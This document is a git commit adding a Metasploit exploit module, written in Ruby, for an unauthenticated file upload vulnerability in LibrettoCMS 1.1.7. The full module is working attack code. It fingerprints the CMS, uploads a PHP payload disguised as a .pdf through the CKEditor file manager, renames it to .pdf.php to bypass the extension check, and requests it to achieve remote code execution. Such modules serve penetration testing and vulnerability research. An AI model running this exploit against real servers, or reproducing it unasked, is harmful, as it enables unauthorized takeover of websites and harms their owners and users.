Land #1990, @wchen-r7's exploit for Libretto CMS

unstable
jvazquez-r7 2013-06-19 23:11:29 -05:00
commit 2d99c46414
1 changed files with 152 additions and 0 deletions

View File

@ -0,0 +1,152 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
def initialize(info={})
super(update_info(info,
'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",
'Description' => %q{
This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
possibly prior. Attackers bypass the file extension check and abuse the upload
feature in order to upload a malicious PHP file without authentication, which
results in arbitary remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'CWH',
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '94391'],
['EDB', '26213']
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Platform' => ['linux', 'php'],
'Targets' =>
[
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
],
'Privileged' => false,
'DisclosureDate' => "Jun 14 2013",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/'])
], self.class)
end
def peer
"#{rhost}:#{rport}"
end
def check
res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end
if res.body =~ /Powered by <a href=".+">Libretto CMS/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def upload(base)
p = get_write_exec_payload(:unlink_self=>true)
fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"
data = Rex::MIME::Message.new
data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'vars_get' => {'type'=>'all files'}
})
if not res
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
elsif res.code.to_i != 200
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")
end
fname
end
def rename(base, original_fname)
new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"
uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_get' => { 'type' => 'all files' },
'vars_post' => {
'fun' => 'renameFile',
'dir' => '',
'filename' => original_fname,
'newFilename' => new_name
}
})
if not res
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while renaming")
elsif res.body !~ /"res":"OK"/
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to rename file")
end
new_name
end
def exec(base, payload_fname)
res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })
if res and res.code.to_i == 404
fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
end
end
def exploit
base = target_uri.path
print_status("#{peer} - Uploading malicious file...")
orig_fname = upload(base)
print_status("#{peer} - Renaming #{orig_fname}...")
new_fname = rename(base, orig_fname)
print_status("#{peer} - Executing #{new_fname}...")
exec(base, new_fname)
end
end